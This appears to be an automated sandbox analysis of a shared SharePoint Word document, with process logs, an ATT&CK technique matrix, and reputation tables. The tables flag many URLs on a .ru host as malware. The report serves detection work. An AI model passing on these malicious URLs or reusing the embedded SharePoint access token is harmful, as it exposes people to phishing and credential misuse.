Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: chromecache_366.2.dr, chromecache_444.2.dr, chromecache_390.2.dr	Binary or memory string: ",ConnectVirtualMachine:"
Source: chromecache_366.2.dr, chromecache_444.2.dr, chromecache_390.2.dr	Binary or memory string: ",DisconnectVirtualMachine:"

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Extra Window Memory Injection	NTDS	1 System Information Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
https://www.gstatic.c..?/recaptcha/releases/DH3nyJMamEclyfe-nztbfV8S/recaptcha__.	0%	URL Reputation	safe
https://login.windows.net	0%	Avira URL Cloud	safe
https://mllss.ablecenp.ru/9adosd/?Z	100%	Avira URL Cloud	malware
https://w5fv.25bvnw8.ru/yfVgFRTlEnoldZPVMhEpsSkFcVYNUGHTEQEUTEVGVYPGVKPSKZJWNHXIEPKSYSNY	0%	Avira URL Cloud	safe
https://support.google.com/recaptcha#6262736	0%	Avira URL Cloud	safe
https://mllss.ablecenp.ru/90RbfegwzCgg2x5125YhvQjshab80	100%	Avira URL Cloud	malware
https://mllss.ablecenp.ru/uvWfrw2DYZZsbHnkjqkstTmQkIfk5jGfh412126	100%	Avira URL Cloud	malware
https://developers.google.com/recaptcha/docs/faq#localhost_support	0%	Avira URL Cloud	safe
https://code.jquery.com/jquery-3.6.0.min.js	0%	Avira URL Cloud	safe
https://mllss.ablecenp.ru/78MZYcLVHHqGrMjLY23n297cJuv54	100%	Avira URL Cloud	malware
about:blank	0%	Avira URL Cloud	safe
https://ipinfo.io/	0%	URL Reputation	safe
https://support.google.com/recaptcha/?hl=en#6223828	0%	Avira URL Cloud	safe
https://cloud.google.com/contact	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=j6k2oz51J%2BP0av9kZht9VFMJwdCuj8%2B11Dcmziu7c8gltXemHRm2sljK69AqvRQuNlIqZ%2B%2B2IcwyQTgydNtkJ%2BNPMIuS8dUEtSiuBwBnGBmkYeEf8WCzDb33PLxc5Q%3D%3D	0%	Avira URL Cloud	safe
https://mllss.ablecenp.ru/12Okb0G715SKh7yabtZm8919	100%	Avira URL Cloud	malware
https://mllss.ablecenp.ru/kcgr4If1Ay0NrpLsA7GMFNCTL5j8p7n3Ue5JitjXtT9bwrIvNZQTY33Cgz	100%	Avira URL Cloud	malware
http://www.opensource.org/licenses/mit-license.php	0%	Avira URL Cloud	safe
https://github.com/fent)	0%	Avira URL Cloud	safe
https://www.google.com/recaptcha/api.js	0%	Avira URL Cloud	safe
https://mllss.ablecenp.ru/yzh3pCKtx2M78uj3T1op50	100%	Avira URL Cloud	malware
https://support.google.com/recaptcha/#6175971	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/88f0c8e1ed640bef/1717597032890/3det-E_3NKbqgbz	0%	Avira URL Cloud	safe
https://www.google.com/recaptcha/api2/	0%	Avira URL Cloud	safe
https://common.online.office.com/suite/RemoteUls.ashx?usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&officeserverversion=20240522.3	0%	Avira URL Cloud	safe
https://mllss.ablecenp.ru/klEZEIkxrqLti6SW5Bi0kZrbmbAU1pIscEup3jdGBd6kl2ZW98wsGRQAke7WCDOycofwx220	100%	Avira URL Cloud	malware
https://mllss.ablecenp.ru/efwbe6BdOMthO23yyTD1fbEIl7luvtuRLyfboI4LB0sCD3yEiG78150	100%	Avira URL Cloud	malware
https://mllss.ablecenp.ru/favicon.ico	100%	Avira URL Cloud	malware
https://mllss.ablecenp.ru/wxx2M5Jdm9gg3qBffFoJIJopt5UabJPIc8FXwxuEsbkhsJTk2VJab180	100%	Avira URL Cloud	malware
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=88f0c8e1ed640bef	0%	Avira URL Cloud	safe
https://support.google.com/recaptcha	0%	Avira URL Cloud	safe
https://midlandlangarsevasociety-my.sharepoint.com/personal/sharon_bharaj_mlss_org_uk/_layouts/15/Doc.aspx?sourcedoc=%7B56148668-3e21-4f1b-8f3e-63b1975c468a%7D&action=default&slrid=efae2fa1-1062-8000-f22d-5097d38bed06&originalPath=aHR0cHM6Ly9taWRsYW5kbGFuZ2Fyc2V2YXNvY2lldHktbXkuc2hhcmVwb2ludC5jb20vOnc6L2cvcGVyc29uYWwvc2hhcm9uX2JoYXJhal9tbHNzX29yZ191ay9FV2lHRkZZaFBodFBqejVqc1pkY1Jvb0JQR0xoLXE1U3Nnd2dJaG1QN0pDbUFnP3J0aW1lPTItQ1BGbXFGM0Vn&CID=e3c5f618-5c32-4945-897c-be30a8b6d1fb&_SRM=0:G:76	0%	Avira URL Cloud	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	0%	Avira URL Cloud	safe
https://localcdn.centro-dev.com:5555/floodgate.bundle.js.map	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=15HuPG%2BpCSCZ28%2BOW39sZ3MEJ9iObhNg76bhPXoc%2F0SUHa0lccimfG9VQua5tffEAktQH%2F65YNesvOLoGQmo%2Fx10T9ouS6rtKkGcQewAxAY0EwUx69Rn5h5U3kosig%3D%3D	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/88f0c8e1ed640bef/1717597032892/d593b71daff911d07e56d5ae61ba6b1dd21bd4c6d730521c9192ae70f132b65b/GiOEsIJSMBhRsHy	0%	Avira URL Cloud	safe
https://mllss.ablecenp.ru/qrScU3ZeGM5FxMsDy6rWLDvBXIAYzLw4WYBaaSA6N4WN6jy9btstp5K5ItKNwK9ybAjeOfS8wnCFef240	100%	Avira URL Cloud	malware
https://mllss.ablecenp.ru/ef8ZxeqCESOGNShRLG69JSw78zDjNJfw78xmn93	100%	Avira URL Cloud	malware
https://mllss.ablecenp.ru/56wWvXQ5TSc4DKXixdYguFXyltDcghILTqHSiXNkgEo3x889102	100%	Avira URL Cloud	malware
https://cloud.google.com/recaptcha-enterprise/billing-information	0%	Avira URL Cloud	safe
https://recaptcha.net	0%	Avira URL Cloud	safe
https://midlandlangarsevasociety-my.sharepoint.com/personal/sharon_bharaj_mlss_org_uk/_layouts/15/guestaccess.aspx?share=EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg	0%	Avira URL Cloud	safe
https://www.apache.org/licenses/	0%	Avira URL Cloud	safe
https://midlandlangarsevasociety-my.sharepoint.com/personal/sharon_bharaj_mlss_org_uk/_api/v2.1/drives/b!VAkq-KyGZ06iZs0vuJvcEQR0d_5uJbhJprofR_Q-SNgT0LlrWXl6T6kIvJiP6404/items/01P3ILRDLIQYKFMIJ6DNHY6PTDWGLVYRUK/streams/content_preview_Op1.img/streamContent?tempauth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvbWlkbGFuZGxhbmdhcnNldmFzb2NpZXR5LW15LnNoYXJlcG9pbnQuY29tQGZhNzUwZTNkLTY1NTYtNDVjOS1iMGVmLWM5OGVjOWEzMjFiOSIsImNhY2hla2V5IjoiMGguZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSIsImNpZCI6Im9TK3U3OElBQUpBUEthMGJkM3NGUHc9PSIsImVuZHBvaW50dXJsIjoiVDM0WmxTbG1PT3ZjWCs2UnM1UUNHV3RxRDdNbFJmNUVCWitSUXFJM0FkND0iLCJlbmRwb2ludHVybExlbmd0aCI6IjIxMCIsImV4cCI6IjE3MTc2MzI5ODgiLCJpcGFkZHIiOiIxNzMuMjU0LjI1MC45MSIsImlzbG9vcGJhY2siOiJUcnVlIiwiaXNzIjoiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwIiwiaXN1c2VyIjoidHJ1ZSIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDMxZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU5OTIwMTA2Y2EzZDQzNzkiLCJuYmYiOiIxNzE3NTk2OTg4IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJzaGFyaW5naWQiOiJFaWR5QmpsWkgwT3EyMnduWDM2OU53Iiwic2l0ZWlkIjoiWmpneVlUQTVOVFF0T0RaaFl5MDBaVFkzTFdFeU5qWXRZMlF5Wm1JNE9XSmtZekV4IiwidHQiOiIwIiwidmVyIjoiaGFzaGVkcHJvb2Z0b2tlbiJ9.xLWj2k_MdVfu7OnJeWlF7DiGuZfBF22HLR9X95pXFYg&usecachedssr=1&prefetchSSRCorrelationId=efae2fa1-00c2-9000-0f29-ad1b777b053f	0%	Avira URL Cloud	safe
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/988922126:1717593319:EfsY8VcA0-4ad9lGpajcEsvMPI1KJUNHWAdtA0NAGik/88f0c8e1ed640bef/851d5cb20e144ec	0%	Avira URL Cloud	safe
https://mllss.ablecenp.ru/ij2qqMjEJ9AKbaJXrnCNuDneQHNDtEzo7NWfheA0KKkleaFErlGIXFvgGUurqE12209	100%	Avira URL Cloud	malware
https://mllss.ablecenp.ru/450u6Xnyf74XAGErQEY17J89Tqk8QDZaxy66	100%	Avira URL Cloud	malware
http://fb.me/use-check-prop-types	0%	Avira URL Cloud	safe
https://common.online.office.com/suite/RemoteTelemetry.ashx?usid=7d777aeb-6724-5443-6f2d-afb3c7edf346	0%	Avira URL Cloud	safe
https://play.google.com/log?format=json&hasfast=true	0%	Avira URL Cloud	safe
https://midlandlangarsevasociety-my.sharepoint.com/personal/sharon_bharaj_mlss_org_uk/_layouts/15/download.aspx?UniqueId=%7B56148668%2D3e21%2D4f1b%2D8f3e%2D63b1975c468a%7D	0%	Avira URL Cloud	safe
https://feross.org	0%	Avira URL Cloud	safe
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	0%	Avira URL Cloud	safe
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	0%	Avira URL Cloud	safe
https://mllss.ablecenp.ru/xy3ZBqB2BSbAQ1pqXmDef23	100%	Avira URL Cloud	malware
https://mllss.ablecenp.ru/klhcEBn0FQQTX11dTIg19JdwxVLcgaa7uTOfF72dK878170	100%	Avira URL Cloud	malware
https://challenges.cloudflare.com/turnstile/v0/b/0143bd9ce132/api.js	0%	Avira URL Cloud	safe
https://cdn.socket.io/4.6.0/socket.io.min.js	0%	Avira URL Cloud	safe
https://mllss.ablecenp.ru/uvCUdkHAVj9eBSz09pg0heMHUWydYnv1oq1qgU3fY8pqw1dr67ZnBcZ3RpszrMxfMadpMvHBXGomgCLWKAgh256	100%	Avira URL Cloud	malware
https://mllss.ablecenp.ru/klIy4hfSdFjCeQFeuZBahXh1SxKUZVaVn2gQslopdJc1GyLsadJrBQjz78BSy21fpYWk49bDTab230	100%	Avira URL Cloud	malware
https://mllss.ablecenp.ru/ypcDzD2LptOQ9lCWl5lF4jfIZMvQMphD8tsTtHthykR08macq	100%	Avira URL Cloud	malware
https://mllss.ablecenp.ru/rsXtw3W2TBidIqgwnqJpSiMshRQIVyjbPXJhKbOghqLwzP6SLnK9TEIjQef194	100%	Avira URL Cloud	malware
https://mllss.ablecenp.ru/rsVEKuFJEXd12frcBawx38	100%	Avira URL Cloud	malware

Name	IP	Active	Malicious	Reputation
189792-ipv4v6.farm.dprodmgd104.aa-rt.sharepoint.com	52.105.54.39	true	false	unknown
dual-spo-0005.spo-msedge.net	13.107.136.10	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
github.com	140.82.121.3	true	false	unknown
mllss.ablecenp.ru	172.67.195.192	true	true	unknown
wac-0003.wac-dc-msedge.net	52.108.10.12	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
w5fv.25bvnw8.ru	188.114.96.3	true	false	unknown
wac-0003.wac-msedge.net	52.108.9.12	true	false	unknown
code.jquery.com	151.101.130.137	true	false	unknown
d2vgu95hoyrpkh.cloudfront.net	18.245.31.5	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	unknown
challenges.cloudflare.com	104.17.2.184	true	false	unknown
www.google.com	142.250.185.100	true	false	unknown
objects.githubusercontent.com	185.199.110.133	true	false	unknown
windowsupdatebg.s.llnwi.net	87.248.204.0	true	false	unknown
cdn.socket.io	unknown	unknown	false	unknown
storage.live.com	unknown	unknown	false	unknown
m365cdn.nel.measure.office.net	unknown	unknown	false	unknown
wordonline.nel.measure.office.net	unknown	unknown	false	unknown
midlandlangarsevasociety-my.sharepoint.com	unknown	unknown	true	unknown
common.online.office.com	unknown	unknown	false	unknown
messaging.engagement.office.com	unknown	unknown	false	unknown

Name	Malicious	Antivirus Detection	Reputation
https://mllss.ablecenp.ru/9adosd/?Z	true	Avira URL Cloud: malware	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false	Avira URL Cloud: safe	unknown
https://mllss.ablecenp.ru/uvWfrw2DYZZsbHnkjqkstTmQkIfk5jGfh412126	true	Avira URL Cloud: malware	unknown
http://midlandlangarsevasociety-my.sharepoint.com/:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg	false		unknown
https://mllss.ablecenp.ru/78MZYcLVHHqGrMjLY23n297cJuv54	true	Avira URL Cloud: malware	unknown
https://mllss.ablecenp.ru/90RbfegwzCgg2x5125YhvQjshab80	true	Avira URL Cloud: malware	unknown
about:blank	false	Avira URL Cloud: safe	unknown
https://w5fv.25bvnw8.ru/yfVgFRTlEnoldZPVMhEpsSkFcVYNUGHTEQEUTEVGVYPGVKPSKZJWNHXIEPKSYSNY	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=j6k2oz51J%2BP0av9kZht9VFMJwdCuj8%2B11Dcmziu7c8gltXemHRm2sljK69AqvRQuNlIqZ%2B%2B2IcwyQTgydNtkJ%2BNPMIuS8dUEtSiuBwBnGBmkYeEf8WCzDb33PLxc5Q%3D%3D	false	Avira URL Cloud: safe	unknown
https://mllss.ablecenp.ru/kcgr4If1Ay0NrpLsA7GMFNCTL5j8p7n3Ue5JitjXtT9bwrIvNZQTY33Cgz	true	Avira URL Cloud: malware	unknown
https://mllss.ablecenp.ru/12Okb0G715SKh7yabtZm8919	true	Avira URL Cloud: malware	unknown
https://mllss.ablecenp.ru/9adosd/	true		unknown
https://mllss.ablecenp.ru/yzh3pCKtx2M78uj3T1op50	true	Avira URL Cloud: malware	unknown
https://www.google.com/recaptcha/api.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false	Avira URL Cloud: safe	unknown
https://mllss.ablecenp.ru/efwbe6BdOMthO23yyTD1fbEIl7luvtuRLyfboI4LB0sCD3yEiG78150	true	Avira URL Cloud: malware	unknown
https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/88f0c8e1ed640bef/1717597032890/3det-E_3NKbqgbz	false	Avira URL Cloud: safe	unknown
https://common.online.office.com/suite/RemoteUls.ashx?usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&officeserverversion=20240522.3	false	Avira URL Cloud: safe	unknown
https://mllss.ablecenp.ru/klEZEIkxrqLti6SW5Bi0kZrbmbAU1pIscEup3jdGBd6kl2ZW98wsGRQAke7WCDOycofwx220	true	Avira URL Cloud: malware	unknown
https://mllss.ablecenp.ru/wxx2M5Jdm9gg3qBffFoJIJopt5UabJPIc8FXwxuEsbkhsJTk2VJab180	true	Avira URL Cloud: malware	unknown
https://mllss.ablecenp.ru/favicon.ico	true	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=88f0c8e1ed640bef	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/88f0c8e1ed640bef/1717597032892/d593b71daff911d07e56d5ae61ba6b1dd21bd4c6d730521c9192ae70f132b65b/GiOEsIJSMBhRsHy	false	Avira URL Cloud: safe	unknown
https://mllss.ablecenp.ru/qrScU3ZeGM5FxMsDy6rWLDvBXIAYzLw4WYBaaSA6N4WN6jy9btstp5K5ItKNwK9ybAjeOfS8wnCFef240	true	Avira URL Cloud: malware	unknown
https://midlandlangarsevasociety-my.sharepoint.com/personal/sharon_bharaj_mlss_org_uk/_layouts/15/Doc.aspx?sourcedoc=%7B56148668-3e21-4f1b-8f3e-63b1975c468a%7D&action=default&slrid=efae2fa1-1062-8000-f22d-5097d38bed06&originalPath=aHR0cHM6Ly9taWRsYW5kbGFuZ2Fyc2V2YXNvY2lldHktbXkuc2hhcmVwb2ludC5jb20vOnc6L2cvcGVyc29uYWwvc2hhcm9uX2JoYXJhal9tbHNzX29yZ191ay9FV2lHRkZZaFBodFBqejVqc1pkY1Jvb0JQR0xoLXE1U3Nnd2dJaG1QN0pDbUFnP3J0aW1lPTItQ1BGbXFGM0Vn&CID=e3c5f618-5c32-4945-897c-be30a8b6d1fb&_SRM=0:G:76	true	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=15HuPG%2BpCSCZ28%2BOW39sZ3MEJ9iObhNg76bhPXoc%2F0SUHa0lccimfG9VQua5tffEAktQH%2F65YNesvOLoGQmo%2Fx10T9ouS6rtKkGcQewAxAY0EwUx69Rn5h5U3kosig%3D%3D	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false	Avira URL Cloud: safe	unknown
https://mllss.ablecenp.ru/ef8ZxeqCESOGNShRLG69JSw78zDjNJfw78xmn93	true	Avira URL Cloud: malware	unknown
https://mllss.ablecenp.ru/56wWvXQ5TSc4DKXixdYguFXyltDcghILTqHSiXNkgEo3x889102	true	Avira URL Cloud: malware	unknown
https://midlandlangarsevasociety-my.sharepoint.com/personal/sharon_bharaj_mlss_org_uk/_layouts/15/guestaccess.aspx?share=EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/988922126:1717593319:EfsY8VcA0-4ad9lGpajcEsvMPI1KJUNHWAdtA0NAGik/88f0c8e1ed640bef/851d5cb20e144ec	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/6sb2m/0x4AAAAAAAanW_YR_5ihkFoc/auto/normal	true		unknown
https://midlandlangarsevasociety-my.sharepoint.com/personal/sharon_bharaj_mlss_org_uk/_api/v2.1/drives/b!VAkq-KyGZ06iZs0vuJvcEQR0d_5uJbhJprofR_Q-SNgT0LlrWXl6T6kIvJiP6404/items/01P3ILRDLIQYKFMIJ6DNHY6PTDWGLVYRUK/streams/content_preview_Op1.img/streamContent?tempauth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvbWlkbGFuZGxhbmdhcnNldmFzb2NpZXR5LW15LnNoYXJlcG9pbnQuY29tQGZhNzUwZTNkLTY1NTYtNDVjOS1iMGVmLWM5OGVjOWEzMjFiOSIsImNhY2hla2V5IjoiMGguZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSIsImNpZCI6Im9TK3U3OElBQUpBUEthMGJkM3NGUHc9PSIsImVuZHBvaW50dXJsIjoiVDM0WmxTbG1PT3ZjWCs2UnM1UUNHV3RxRDdNbFJmNUVCWitSUXFJM0FkND0iLCJlbmRwb2ludHVybExlbmd0aCI6IjIxMCIsImV4cCI6IjE3MTc2MzI5ODgiLCJpcGFkZHIiOiIxNzMuMjU0LjI1MC45MSIsImlzbG9vcGJhY2siOiJUcnVlIiwiaXNzIjoiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwIiwiaXN1c2VyIjoidHJ1ZSIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDMxZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU5OTIwMTA2Y2EzZDQzNzkiLCJuYmYiOiIxNzE3NTk2OTg4IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJzaGFyaW5naWQiOiJFaWR5QmpsWkgwT3EyMnduWDM2OU53Iiwic2l0ZWlkIjoiWmpneVlUQTVOVFF0T0RaaFl5MDBaVFkzTFdFeU5qWXRZMlF5Wm1JNE9XSmtZekV4IiwidHQiOiIwIiwidmVyIjoiaGFzaGVkcHJvb2Z0b2tlbiJ9.xLWj2k_MdVfu7OnJeWlF7DiGuZfBF22HLR9X95pXFYg&usecachedssr=1&prefetchSSRCorrelationId=efae2fa1-00c2-9000-0f29-ad1b777b053f	true	Avira URL Cloud: safe	unknown
https://mllss.ablecenp.ru/ij2qqMjEJ9AKbaJXrnCNuDneQHNDtEzo7NWfheA0KKkleaFErlGIXFvgGUurqE12209	true	Avira URL Cloud: malware	unknown
https://mllss.ablecenp.ru/450u6Xnyf74XAGErQEY17J89Tqk8QDZaxy66	true	Avira URL Cloud: malware	unknown
https://common.online.office.com/suite/RemoteTelemetry.ashx?usid=7d777aeb-6724-5443-6f2d-afb3c7edf346	false	Avira URL Cloud: safe	unknown
https://mllss.ablecenp.ru/xy3ZBqB2BSbAQ1pqXmDef23	true	Avira URL Cloud: malware	unknown
https://midlandlangarsevasociety-my.sharepoint.com/:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg?rtime=2-CPFmqF3Eg	true		unknown
https://midlandlangarsevasociety-my.sharepoint.com/personal/sharon_bharaj_mlss_org_uk/_layouts/15/download.aspx?UniqueId=%7B56148668%2D3e21%2D4f1b%2D8f3e%2D63b1975c468a%7D	true	Avira URL Cloud: safe	unknown
https://mllss.ablecenp.ru/klhcEBn0FQQTX11dTIg19JdwxVLcgaa7uTOfF72dK878170	true	Avira URL Cloud: malware	unknown
https://ipinfo.io/	false	URL Reputation: safe	unknown
https://cdn.socket.io/4.6.0/socket.io.min.js	false	Avira URL Cloud: safe	unknown
https://mllss.ablecenp.ru/uvCUdkHAVj9eBSz09pg0heMHUWydYnv1oq1qgU3fY8pqw1dr67ZnBcZ3RpszrMxfMadpMvHBXGomgCLWKAgh256	true	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/turnstile/v0/b/0143bd9ce132/api.js	false	Avira URL Cloud: safe	unknown
https://mllss.ablecenp.ru/ypcDzD2LptOQ9lCWl5lF4jfIZMvQMphD8tsTtHthykR08macq	true	Avira URL Cloud: malware	unknown
